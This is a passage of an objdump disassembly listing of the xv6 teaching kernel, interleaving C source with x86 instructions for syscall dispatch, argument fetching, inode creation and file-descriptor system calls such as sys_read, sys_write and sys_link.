80104a09: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80104a10: b8 ff ff ff ff mov $0xffffffff,%eax
80104a15: eb eb jmp 80104a02 <argptr+0x42>
80104a17: 89 f6 mov %esi,%esi
80104a19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104a20 <argstr>:
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
80104a20: 55 push %ebp
80104a21: 89 e5 mov %esp,%ebp
80104a23: 83 ec 20 sub $0x20,%esp
int addr;
if(argint(n, &addr) < 0)
80104a26: 8d 45 f4 lea -0xc(%ebp),%eax
80104a29: 50 push %eax
80104a2a: ff 75 08 pushl 0x8(%ebp)
80104a2d: e8 3e ff ff ff call 80104970 <argint>
80104a32: 83 c4 10 add $0x10,%esp
80104a35: 85 c0 test %eax,%eax
80104a37: 78 17 js 80104a50 <argstr+0x30>
return -1;
return fetchstr(addr, pp);
80104a39: 83 ec 08 sub $0x8,%esp
80104a3c: ff 75 0c pushl 0xc(%ebp)
80104a3f: ff 75 f4 pushl -0xc(%ebp)
80104a42: e8 b9 fe ff ff call 80104900 <fetchstr>
80104a47: 83 c4 10 add $0x10,%esp
}
80104a4a: c9 leave
80104a4b: c3 ret
80104a4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80104a50: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104a55: c9 leave
80104a56: c3 ret
80104a57: 89 f6 mov %esi,%esi
80104a59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104a60 <syscall>:
[SYS_freeMem] sys_freeMem,
};
void
syscall(void)
{
80104a60: 55 push %ebp
80104a61: 89 e5 mov %esp,%ebp
80104a63: 53 push %ebx
80104a64: 83 ec 04 sub $0x4,%esp
int num;
struct proc *curproc = myproc();
80104a67: e8 54 ee ff ff call 801038c0 <myproc>
80104a6c: 89 c3 mov %eax,%ebx
num = curproc->tf->eax;
80104a6e: 8b 40 18 mov 0x18(%eax),%eax
80104a71: 8b 40 1c mov 0x1c(%eax),%eax
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
80104a74: 8d 50 ff lea -0x1(%eax),%edx
80104a77: 83 fa 18 cmp $0x18,%edx
80104a7a: 77 1c ja 80104a98 <syscall+0x38>
80104a7c: 8b 14 85 c0 7a 10 80 mov -0x7fef8540(,%eax,4),%edx
80104a83: 85 d2 test %edx,%edx
80104a85: 74 11 je 80104a98 <syscall+0x38>
curproc->tf->eax = syscalls[num]();
80104a87: ff d2 call *%edx
80104a89: 8b 53 18 mov 0x18(%ebx),%edx
80104a8c: 89 42 1c mov %eax,0x1c(%edx)
} else {
cprintf("%d %s: unknown sys call %d\n",
curproc->pid, curproc->name, num);
curproc->tf->eax = -1;
}
}
80104a8f: 8b 5d fc mov -0x4(%ebp),%ebx
80104a92: c9 leave
80104a93: c3 ret
80104a94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
cprintf("%d %s: unknown sys call %d\n",
80104a98: 50 push %eax
curproc->pid, curproc->name, num);
80104a99: 8d 43 6c lea 0x6c(%ebx),%eax
cprintf("%d %s: unknown sys call %d\n",
80104a9c: 50 push %eax
80104a9d: ff 73 10 pushl 0x10(%ebx)
80104aa0: 68 a1 7a 10 80 push $0x80107aa1
80104aa5: e8 b6 bb ff ff call 80100660 <cprintf>
curproc->tf->eax = -1;
80104aaa: 8b 43 18 mov 0x18(%ebx),%eax
80104aad: 83 c4 10 add $0x10,%esp
80104ab0: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
}
80104ab7: 8b 5d fc mov -0x4(%ebp),%ebx
80104aba: c9 leave
80104abb: c3 ret
80104abc: 66 90 xchg %ax,%ax
80104abe: 66 90 xchg %ax,%ax
80104ac0 <create>:
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
80104ac0: 55 push %ebp
80104ac1: 89 e5 mov %esp,%ebp
80104ac3: 57 push %edi
80104ac4: 56 push %esi
80104ac5: 53 push %ebx
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
80104ac6: 8d 75 da lea -0x26(%ebp),%esi
{
80104ac9: 83 ec 34 sub $0x34,%esp
80104acc: 89 4d d0 mov %ecx,-0x30(%ebp)
80104acf: 8b 4d 08 mov 0x8(%ebp),%ecx
if((dp = nameiparent(path, name)) == 0)
80104ad2: 56 push %esi
80104ad3: 50 push %eax
{
80104ad4: 89 55 d4 mov %edx,-0x2c(%ebp)
80104ad7: 89 4d cc mov %ecx,-0x34(%ebp)
if((dp = nameiparent(path, name)) == 0)
80104ada: e8 21 d4 ff ff call 80101f00 <nameiparent>
80104adf: 83 c4 10 add $0x10,%esp
80104ae2: 85 c0 test %eax,%eax
80104ae4: 0f 84 46 01 00 00 je 80104c30 <create+0x170>
return 0;
ilock(dp);
80104aea: 83 ec 0c sub $0xc,%esp
80104aed: 89 c3 mov %eax,%ebx
80104aef: 50 push %eax
80104af0: e8 8b cb ff ff call 80101680 <ilock>
if((ip = dirlookup(dp, name, 0)) != 0){
80104af5: 83 c4 0c add $0xc,%esp
80104af8: 6a 00 push $0x0
80104afa: 56 push %esi
80104afb: 53 push %ebx
80104afc: e8 af d0 ff ff call 80101bb0 <dirlookup>
80104b01: 83 c4 10 add $0x10,%esp
80104b04: 85 c0 test %eax,%eax
80104b06: 89 c7 mov %eax,%edi
80104b08: 74 36 je 80104b40 <create+0x80>
iunlockput(dp);
80104b0a: 83 ec 0c sub $0xc,%esp
80104b0d: 53 push %ebx
80104b0e: e8 fd cd ff ff call 80101910 <iunlockput>
ilock(ip);
80104b13: 89 3c 24 mov %edi,(%esp)
80104b16: e8 65 cb ff ff call 80101680 <ilock>
if(type == T_FILE && ip->type == T_FILE)
80104b1b: 83 c4 10 add $0x10,%esp
80104b1e: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp)
80104b23: 0f 85 97 00 00 00 jne 80104bc0 <create+0x100>
80104b29: 66 83 7f 50 02 cmpw $0x2,0x50(%edi)
80104b2e: 0f 85 8c 00 00 00 jne 80104bc0 <create+0x100>
panic("create: dirlink");
iunlockput(dp);
return ip;
}
80104b34: 8d 65 f4 lea -0xc(%ebp),%esp
80104b37: 89 f8 mov %edi,%eax
80104b39: 5b pop %ebx
80104b3a: 5e pop %esi
80104b3b: 5f pop %edi
80104b3c: 5d pop %ebp
80104b3d: c3 ret
80104b3e: 66 90 xchg %ax,%ax
if((ip = ialloc(dp->dev, type)) == 0)
80104b40: 0f bf 45 d4 movswl -0x2c(%ebp),%eax
80104b44: 83 ec 08 sub $0x8,%esp
80104b47: 50 push %eax
80104b48: ff 33 pushl (%ebx)
80104b4a: e8 c1 c9 ff ff call 80101510 <ialloc>
80104b4f: 83 c4 10 add $0x10,%esp
80104b52: 85 c0 test %eax,%eax
80104b54: 89 c7 mov %eax,%edi
80104b56: 0f 84 e8 00 00 00 je 80104c44 <create+0x184>
ilock(ip);
80104b5c: 83 ec 0c sub $0xc,%esp
80104b5f: 50 push %eax
80104b60: e8 1b cb ff ff call 80101680 <ilock>
ip->major = major;
80104b65: 0f b7 45 d0 movzwl -0x30(%ebp),%eax
80104b69: 66 89 47 52 mov %ax,0x52(%edi)
ip->minor = minor;
80104b6d: 0f b7 45 cc movzwl -0x34(%ebp),%eax
80104b71: 66 89 47 54 mov %ax,0x54(%edi)
ip->nlink = 1;
80104b75: b8 01 00 00 00 mov $0x1,%eax
80104b7a: 66 89 47 56 mov %ax,0x56(%edi)
iupdate(ip);
80104b7e: 89 3c 24 mov %edi,(%esp)
80104b81: e8 4a ca ff ff call 801015d0 <iupdate>
if(type == T_DIR){ // Create . and .. entries.
80104b86: 83 c4 10 add $0x10,%esp
80104b89: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp)
80104b8e: 74 50 je 80104be0 <create+0x120>
if(dirlink(dp, name, ip->inum) < 0)
80104b90: 83 ec 04 sub $0x4,%esp
80104b93: ff 77 04 pushl 0x4(%edi)
80104b96: 56 push %esi
80104b97: 53 push %ebx
80104b98: e8 83 d2 ff ff call 80101e20 <dirlink>
80104b9d: 83 c4 10 add $0x10,%esp
80104ba0: 85 c0 test %eax,%eax
80104ba2: 0f 88 8f 00 00 00 js 80104c37 <create+0x177>
iunlockput(dp);
80104ba8: 83 ec 0c sub $0xc,%esp
80104bab: 53 push %ebx
80104bac: e8 5f cd ff ff call 80101910 <iunlockput>
return ip;
80104bb1: 83 c4 10 add $0x10,%esp
}
80104bb4: 8d 65 f4 lea -0xc(%ebp),%esp
80104bb7: 89 f8 mov %edi,%eax
80104bb9: 5b pop %ebx
80104bba: 5e pop %esi
80104bbb: 5f pop %edi
80104bbc: 5d pop %ebp
80104bbd: c3 ret
80104bbe: 66 90 xchg %ax,%ax
iunlockput(ip);
80104bc0: 83 ec 0c sub $0xc,%esp
80104bc3: 57 push %edi
return 0;
80104bc4: 31 ff xor %edi,%edi
iunlockput(ip);
80104bc6: e8 45 cd ff ff call 80101910 <iunlockput>
return 0;
80104bcb: 83 c4 10 add $0x10,%esp
}
80104bce: 8d 65 f4 lea -0xc(%ebp),%esp
80104bd1: 89 f8 mov %edi,%eax
80104bd3: 5b pop %ebx
80104bd4: 5e pop %esi
80104bd5: 5f pop %edi
80104bd6: 5d pop %ebp
80104bd7: c3 ret
80104bd8: 90 nop
80104bd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
dp->nlink++; // for ".."
80104be0: 66 83 43 56 01 addw $0x1,0x56(%ebx)
iupdate(dp);
80104be5: 83 ec 0c sub $0xc,%esp
80104be8: 53 push %ebx
80104be9: e8 e2 c9 ff ff call 801015d0 <iupdate>
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
80104bee: 83 c4 0c add $0xc,%esp
80104bf1: ff 77 04 pushl 0x4(%edi)
80104bf4: 68 44 7b 10 80 push $0x80107b44
80104bf9: 57 push %edi
80104bfa: e8 21 d2 ff ff call 80101e20 <dirlink>
80104bff: 83 c4 10 add $0x10,%esp
80104c02: 85 c0 test %eax,%eax
80104c04: 78 1c js 80104c22 <create+0x162>
80104c06: 83 ec 04 sub $0x4,%esp
80104c09: ff 73 04 pushl 0x4(%ebx)
80104c0c: 68 43 7b 10 80 push $0x80107b43
80104c11: 57 push %edi
80104c12: e8 09 d2 ff ff call 80101e20 <dirlink>
80104c17: 83 c4 10 add $0x10,%esp
80104c1a: 85 c0 test %eax,%eax
80104c1c: 0f 89 6e ff ff ff jns 80104b90 <create+0xd0>
panic("create dots");
80104c22: 83 ec 0c sub $0xc,%esp
80104c25: 68 37 7b 10 80 push $0x80107b37
80104c2a: e8 61 b7 ff ff call 80100390 <panic>
80104c2f: 90 nop
return 0;
80104c30: 31 ff xor %edi,%edi
80104c32: e9 fd fe ff ff jmp 80104b34 <create+0x74>
panic("create: dirlink");
80104c37: 83 ec 0c sub $0xc,%esp
80104c3a: 68 46 7b 10 80 push $0x80107b46
80104c3f: e8 4c b7 ff ff call 80100390 <panic>
panic("create: ialloc");
80104c44: 83 ec 0c sub $0xc,%esp
80104c47: 68 28 7b 10 80 push $0x80107b28
80104c4c: e8 3f b7 ff ff call 80100390 <panic>
80104c51: eb 0d jmp 80104c60 <argfd.constprop.1>
80104c53: 90 nop
80104c54: 90 nop
80104c55: 90 nop
80104c56: 90 nop
80104c57: 90 nop
80104c58: 90 nop
80104c59: 90 nop
80104c5a: 90 nop
80104c5b: 90 nop
80104c5c: 90 nop
80104c5d: 90 nop
80104c5e: 90 nop
80104c5f: 90 nop
80104c60 <argfd.constprop.1>:
argfd(int n, int *pfd, struct file **pf)
80104c60: 55 push %ebp
80104c61: 89 e5 mov %esp,%ebp
80104c63: 56 push %esi
80104c64: 53 push %ebx
80104c65: 89 c3 mov %eax,%ebx
if(argint(n, &fd) < 0)
80104c67: 8d 45 f4 lea -0xc(%ebp),%eax
argfd(int n, int *pfd, struct file **pf)
80104c6a: 89 d6 mov %edx,%esi
80104c6c: 83 ec 18 sub $0x18,%esp
if(argint(n, &fd) < 0)
80104c6f: 50 push %eax
80104c70: 6a 00 push $0x0
80104c72: e8 f9 fc ff ff call 80104970 <argint>
80104c77: 83 c4 10 add $0x10,%esp
80104c7a: 85 c0 test %eax,%eax
80104c7c: 78 2a js 80104ca8 <argfd.constprop.1+0x48>
if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0)
80104c7e: 83 7d f4 0f cmpl $0xf,-0xc(%ebp)
80104c82: 77 24 ja 80104ca8 <argfd.constprop.1+0x48>
80104c84: e8 37 ec ff ff call 801038c0 <myproc>
80104c89: 8b 55 f4 mov -0xc(%ebp),%edx
80104c8c: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax
80104c90: 85 c0 test %eax,%eax
80104c92: 74 14 je 80104ca8 <argfd.constprop.1+0x48>
if(pfd)
80104c94: 85 db test %ebx,%ebx
80104c96: 74 02 je 80104c9a <argfd.constprop.1+0x3a>
*pfd = fd;
80104c98: 89 13 mov %edx,(%ebx)
*pf = f;
80104c9a: 89 06 mov %eax,(%esi)
return 0;
80104c9c: 31 c0 xor %eax,%eax
}
80104c9e: 8d 65 f8 lea -0x8(%ebp),%esp
80104ca1: 5b pop %ebx
80104ca2: 5e pop %esi
80104ca3: 5d pop %ebp
80104ca4: c3 ret
80104ca5: 8d 76 00 lea 0x0(%esi),%esi
return -1;
80104ca8: b8 ff ff ff ff mov $0xffffffff,%eax
80104cad: eb ef jmp 80104c9e <argfd.constprop.1+0x3e>
80104caf: 90 nop
80104cb0 <sys_dup>:
{
80104cb0: 55 push %ebp
if(argfd(0, 0, &f) < 0)
80104cb1: 31 c0 xor %eax,%eax
{
80104cb3: 89 e5 mov %esp,%ebp
80104cb5: 56 push %esi
80104cb6: 53 push %ebx
if(argfd(0, 0, &f) < 0)
80104cb7: 8d 55 f4 lea -0xc(%ebp),%edx
{
80104cba: 83 ec 10 sub $0x10,%esp
if(argfd(0, 0, &f) < 0)
80104cbd: e8 9e ff ff ff call 80104c60 <argfd.constprop.1>
80104cc2: 85 c0 test %eax,%eax
80104cc4: 78 42 js 80104d08 <sys_dup+0x58>
if((fd=fdalloc(f)) < 0)
80104cc6: 8b 75 f4 mov -0xc(%ebp),%esi
for(fd = 0; fd < NOFILE; fd++){
80104cc9: 31 db xor %ebx,%ebx
struct proc *curproc = myproc();
80104ccb: e8 f0 eb ff ff call 801038c0 <myproc>
80104cd0: eb 0e jmp 80104ce0 <sys_dup+0x30>
80104cd2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(fd = 0; fd < NOFILE; fd++){
80104cd8: 83 c3 01 add $0x1,%ebx
80104cdb: 83 fb 10 cmp $0x10,%ebx
80104cde: 74 28 je 80104d08 <sys_dup+0x58>
if(curproc->ofile[fd] == 0){
80104ce0: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx
80104ce4: 85 d2 test %edx,%edx
80104ce6: 75 f0 jne 80104cd8 <sys_dup+0x28>
curproc->ofile[fd] = f;
80104ce8: 89 74 98 28 mov %esi,0x28(%eax,%ebx,4)
filedup(f);
80104cec: 83 ec 0c sub $0xc,%esp
80104cef: ff 75 f4 pushl -0xc(%ebp)
80104cf2: e8 f9 c0 ff ff call 80100df0 <filedup>
return fd;
80104cf7: 83 c4 10 add $0x10,%esp
}
80104cfa: 8d 65 f8 lea -0x8(%ebp),%esp
80104cfd: 89 d8 mov %ebx,%eax
80104cff: 5b pop %ebx
80104d00: 5e pop %esi
80104d01: 5d pop %ebp
80104d02: c3 ret
80104d03: 90 nop
80104d04: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104d08: 8d 65 f8 lea -0x8(%ebp),%esp
return -1;
80104d0b: bb ff ff ff ff mov $0xffffffff,%ebx
}
80104d10: 89 d8 mov %ebx,%eax
80104d12: 5b pop %ebx
80104d13: 5e pop %esi
80104d14: 5d pop %ebp
80104d15: c3 ret
80104d16: 8d 76 00 lea 0x0(%esi),%esi
80104d19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104d20 <sys_read>:
{
80104d20: 55 push %ebp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104d21: 31 c0 xor %eax,%eax
{
80104d23: 89 e5 mov %esp,%ebp
80104d25: 83 ec 18 sub $0x18,%esp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104d28: 8d 55 ec lea -0x14(%ebp),%edx
80104d2b: e8 30 ff ff ff call 80104c60 <argfd.constprop.1>
80104d30: 85 c0 test %eax,%eax
80104d32: 78 4c js 80104d80 <sys_read+0x60>
80104d34: 8d 45 f0 lea -0x10(%ebp),%eax
80104d37: 83 ec 08 sub $0x8,%esp
80104d3a: 50 push %eax
80104d3b: 6a 02 push $0x2
80104d3d: e8 2e fc ff ff call 80104970 <argint>
80104d42: 83 c4 10 add $0x10,%esp
80104d45: 85 c0 test %eax,%eax
80104d47: 78 37 js 80104d80 <sys_read+0x60>
80104d49: 8d 45 f4 lea -0xc(%ebp),%eax
80104d4c: 83 ec 04 sub $0x4,%esp
80104d4f: ff 75 f0 pushl -0x10(%ebp)
80104d52: 50 push %eax
80104d53: 6a 01 push $0x1
80104d55: e8 66 fc ff ff call 801049c0 <argptr>
80104d5a: 83 c4 10 add $0x10,%esp
80104d5d: 85 c0 test %eax,%eax
80104d5f: 78 1f js 80104d80 <sys_read+0x60>
return fileread(f, p, n);
80104d61: 83 ec 04 sub $0x4,%esp
80104d64: ff 75 f0 pushl -0x10(%ebp)
80104d67: ff 75 f4 pushl -0xc(%ebp)
80104d6a: ff 75 ec pushl -0x14(%ebp)
80104d6d: e8 ee c1 ff ff call 80100f60 <fileread>
80104d72: 83 c4 10 add $0x10,%esp
}
80104d75: c9 leave
80104d76: c3 ret
80104d77: 89 f6 mov %esi,%esi
80104d79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
return -1;
80104d80: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104d85: c9 leave
80104d86: c3 ret
80104d87: 89 f6 mov %esi,%esi
80104d89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104d90 <sys_write>:
{
80104d90: 55 push %ebp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104d91: 31 c0 xor %eax,%eax
{
80104d93: 89 e5 mov %esp,%ebp
80104d95: 83 ec 18 sub $0x18,%esp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104d98: 8d 55 ec lea -0x14(%ebp),%edx
80104d9b: e8 c0 fe ff ff call 80104c60 <argfd.constprop.1>
80104da0: 85 c0 test %eax,%eax
80104da2: 78 4c js 80104df0 <sys_write+0x60>
80104da4: 8d 45 f0 lea -0x10(%ebp),%eax
80104da7: 83 ec 08 sub $0x8,%esp
80104daa: 50 push %eax
80104dab: 6a 02 push $0x2
80104dad: e8 be fb ff ff call 80104970 <argint>
80104db2: 83 c4 10 add $0x10,%esp
80104db5: 85 c0 test %eax,%eax
80104db7: 78 37 js 80104df0 <sys_write+0x60>
80104db9: 8d 45 f4 lea -0xc(%ebp),%eax
80104dbc: 83 ec 04 sub $0x4,%esp
80104dbf: ff 75 f0 pushl -0x10(%ebp)
80104dc2: 50 push %eax
80104dc3: 6a 01 push $0x1
80104dc5: e8 f6 fb ff ff call 801049c0 <argptr>
80104dca: 83 c4 10 add $0x10,%esp
80104dcd: 85 c0 test %eax,%eax
80104dcf: 78 1f js 80104df0 <sys_write+0x60>
return filewrite(f, p, n);
80104dd1: 83 ec 04 sub $0x4,%esp
80104dd4: ff 75 f0 pushl -0x10(%ebp)
80104dd7: ff 75 f4 pushl -0xc(%ebp)
80104dda: ff 75 ec pushl -0x14(%ebp)
80104ddd: e8 0e c2 ff ff call 80100ff0 <filewrite>
80104de2: 83 c4 10 add $0x10,%esp
}
80104de5: c9 leave
80104de6: c3 ret
80104de7: 89 f6 mov %esi,%esi
80104de9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
return -1;
80104df0: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104df5: c9 leave
80104df6: c3 ret
80104df7: 89 f6 mov %esi,%esi
80104df9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104e00 <sys_close>:
{
80104e00: 55 push %ebp
80104e01: 89 e5 mov %esp,%ebp
80104e03: 83 ec 18 sub $0x18,%esp
if(argfd(0, &fd, &f) < 0)
80104e06: 8d 55 f4 lea -0xc(%ebp),%edx
80104e09: 8d 45 f0 lea -0x10(%ebp),%eax
80104e0c: e8 4f fe ff ff call 80104c60 <argfd.constprop.1>
80104e11: 85 c0 test %eax,%eax
80104e13: 78 2b js 80104e40 <sys_close+0x40>
myproc()->ofile[fd] = 0;
80104e15: e8 a6 ea ff ff call 801038c0 <myproc>
80104e1a: 8b 55 f0 mov -0x10(%ebp),%edx
fileclose(f);
80104e1d: 83 ec 0c sub $0xc,%esp
myproc()->ofile[fd] = 0;
80104e20: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4)
80104e27: 00
fileclose(f);
80104e28: ff 75 f4 pushl -0xc(%ebp)
80104e2b: e8 10 c0 ff ff call 80100e40 <fileclose>
return 0;
80104e30: 83 c4 10 add $0x10,%esp
80104e33: 31 c0 xor %eax,%eax
}
80104e35: c9 leave
80104e36: c3 ret
80104e37: 89 f6 mov %esi,%esi
80104e39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
return -1;
80104e40: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104e45: c9 leave
80104e46: c3 ret
80104e47: 89 f6 mov %esi,%esi
80104e49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104e50 <sys_fstat>:
{
80104e50: 55 push %ebp
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104e51: 31 c0 xor %eax,%eax
{
80104e53: 89 e5 mov %esp,%ebp
80104e55: 83 ec 18 sub $0x18,%esp
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104e58: 8d 55 f0 lea -0x10(%ebp),%edx
80104e5b: e8 00 fe ff ff call 80104c60 <argfd.constprop.1>
80104e60: 85 c0 test %eax,%eax
80104e62: 78 2c js 80104e90 <sys_fstat+0x40>
80104e64: 8d 45 f4 lea -0xc(%ebp),%eax
80104e67: 83 ec 04 sub $0x4,%esp
80104e6a: 6a 14 push $0x14
80104e6c: 50 push %eax
80104e6d: 6a 01 push $0x1
80104e6f: e8 4c fb ff ff call 801049c0 <argptr>
80104e74: 83 c4 10 add $0x10,%esp
80104e77: 85 c0 test %eax,%eax
80104e79: 78 15 js 80104e90 <sys_fstat+0x40>
return filestat(f, st);
80104e7b: 83 ec 08 sub $0x8,%esp
80104e7e: ff 75 f4 pushl -0xc(%ebp)
80104e81: ff 75 f0 pushl -0x10(%ebp)
80104e84: e8 87 c0 ff ff call 80100f10 <filestat>
80104e89: 83 c4 10 add $0x10,%esp
}
80104e8c: c9 leave
80104e8d: c3 ret
80104e8e: 66 90 xchg %ax,%ax
return -1;
80104e90: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104e95: c9 leave
80104e96: c3 ret
80104e97: 89 f6 mov %esi,%esi
80104e99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104ea0 <sys_link>:
{
80104ea0: 55 push %ebp
80104ea1: 89 e5 mov %esp,%ebp
80104ea3: 57 push %edi
80104ea4: 56 push %esi
80104ea5: 53 push %ebx
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80104ea6: 8d 45 d4 lea -0x2c(%ebp),%eax
{
80104ea9: 83 ec 34 sub $0x34,%esp
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80104eac: 50 push %eax
80104ead: 6a 00 push $0x0
80104eaf: e8 6c fb ff ff call 80104a20 <argstr>
80104eb4: 83 c4 10 add $0x10,%esp
80104eb7: 85 c0 test %eax,%eax
80104eb9: 0f 88 fb 00 00 00 js 80104fba <sys_link+0x11a>
80104ebf: 8d 45 d0 lea -0x30(%ebp),%eax
80104ec2: 83 ec 08 sub $0x8,%esp
80104ec5: 50 push %eax
80104ec6: 6a 01 push $0x1
80104ec8: e8 53 fb ff ff call 80104a20 <argstr>
80104ecd: 83 c4 10 add $0x10,%esp
80104ed0: 85 c0 test %eax,%eax
80104ed2: 0f 88 e2 00 00 00 js 80104fba <sys_link+0x11a>
begin_op();
80104ed8: e8 a3 dd ff ff call 80102c80 <begin_op>
if((ip = namei(old)) == 0){
80104edd: 83 ec 0c sub $0xc,%esp
80104ee0: ff 75 d4 pushl -0x2c(%ebp)
80104ee3: e8 f8 cf ff ff call 80101ee0 <namei>
80104ee8: 83 c4 10 add $0x10,%esp
80104eeb: 85 c0 test %eax,%eax
80104eed: 89 c3 mov %eax,%ebx
80104eef: 0f 84 ea 00 00 00 je 80104fdf <sys_link+0x13f>
ilock(ip);
80104ef5: 83 ec 0c sub $0xc,%esp
80104ef8: 50 push %eax
80104ef9: e8 82 c7 ff ff call 80101680 <ilock>
if(ip->type == T_DIR){
80104efe: 83 c4 10 add $0x10,%esp
80104f01: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104f06: 0f 84 bb 00 00 00 je 80104fc7 <sys_link+0x127>
ip->nlink++;
80104f0c: 66 83 43 56 01 addw $0x1,0x56(%ebx)
iupdate(ip);
80104f11: 83 ec 0c sub $0xc,%esp
if((dp = nameiparent(new, name)) == 0)
80104f14: 8d 7d da lea -0x26(%ebp),%edi
iupdate(ip);
80104f17: 53 push %ebx
80104f18: e8 b3 c6 ff ff call 801015d0 <iupdate>
iunlock(ip);
80104f1d: 89 1c 24 mov %ebx,(%esp)
80104f20: e8 3b c8 ff ff call 80101760 <iunlock>
if((dp = nameiparent(new, name)) == 0)
80104f25: 58 pop %eax
80104f26: 5a pop %edx
80104f27: 57 push %edi
80104f28: ff 75 d0 pushl -0x30(%ebp)
80104f2b: e8 d0 cf ff ff call 80101f00 <nameiparent>
80104f30: 83 c4 10 add $0x10,%esp
80104f33: 85 c0 test %eax,%eax
80104f35: 89 c6 mov %eax,%esi
80104f37: 74 5b je 80104f94 <sys_link+0xf4>
ilock(dp);
80104f39: 83 ec 0c sub $0xc,%esp
80104f3c: 50 push %eax
80104f3d: e8 3e c7 ff ff call 80101680 <ilock>
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
80104f42: 83 c4 10 add $0x10,%esp
80104f45: 8b 03 mov (%ebx),%eax
80104f47: 39 06 cmp %eax,(%esi)
80104f49: 75 3d jne 80104f88 <sys_link+0xe8>
80104f4b: 83 ec 04 sub $0x4,%esp
80104f4e: ff 73 04 pushl 0x4(%ebx)
80104f51: 57 push %edi
80104f52: 56 push %esi
80104f53: e8 c8 ce ff ff call 80101e20 <dirlink>
80104f58: 83 c4 10 add $0x10,%esp
80104f5b: 85 c0 test %eax,%eax
80104f5d: 78 29 js 80104f88 <sys_link+0xe8>
iunlockput(dp);
80104f5f: 83 ec 0c sub $0xc,%esp
80104f62: 56 push %esi
80104f63: e8 a8 c9 ff ff call 80101910 <iunlockput>
iput(ip);
80104f68: 89 1c 24 mov %ebx,(%esp)
80104f6b: e8 40 c8 ff ff call 801017b0 <iput>
end_op();
80104f70: e8 7b dd ff ff call 80102cf0 <end_op>
return 0;
80104f75: 83 c4 10 add $0x10,%esp
80104f78: 31 c0 xor %eax,%eax
}
80104f7a: 8d 65 f4 lea -0xc(%ebp),%esp
80104f7d: 5b pop %ebx
80104f7e: 5e pop %esi
80104f7f: 5f pop %edi
80104f80: 5d pop %ebp
80104f81: c3 ret
80104f82: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
iunlockput(dp);
80104f88: 83 ec 0c sub $0xc,%esp
80104f8b: 56 push %esi
80104f8c: e8 7f c9 ff ff call 80101910 <iunlockput>
goto bad;
80104f91: 83 c4 10 add $0x10,%esp
ilock(ip);
80104f94: 83 ec 0c sub $0xc,%esp
80104f97: 53 push %ebx
80104f98: e8 e3 c6 ff ff call 80101680 <ilock>
ip->nlink--;
80104f9d: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
80104fa2: 89 1c 24 mov %ebx,(%esp)
80104fa5: e8 26 c6 ff ff call 801015d0 <iupdate>
iunlockput(ip);
80104faa: 89 1c 24 mov %ebx,(%esp)
80104fad: e8 5e c9 ff ff call 80101910 <iunlockput>
end_op();
80104fb2: e8 39 dd ff ff call 80102cf0 <end_op>
return -1;
80104fb7: 83 c4 10 add $0x10,%esp
}
80104fba: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
80104fbd: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104fc2: 5b pop %ebx
80104fc3: 5e pop %esi
80104fc4: 5f pop %edi
80104fc5: 5d pop %ebp
80104fc6: c3 ret
iunlockput(ip);
80104fc7: 83 ec 0c sub $0xc,%esp
80104fca: 53 push %ebx
80104fcb: e8 40 c9 ff ff call 80101910 <iunlockput>
end_op();
80104fd0: e8 1b dd ff ff call 80102cf0 <end_op>
return -1;
80104fd5: 83 c4 10 add $0x10,%esp
80104fd8: b8 ff ff ff ff mov $0xffffffff,%eax
80104fdd: eb 9b jmp 80104f7a <sys_link+0xda>
end_op();
80104fdf: e8 0c dd ff ff call 80102cf0 <end_op>
return -1;
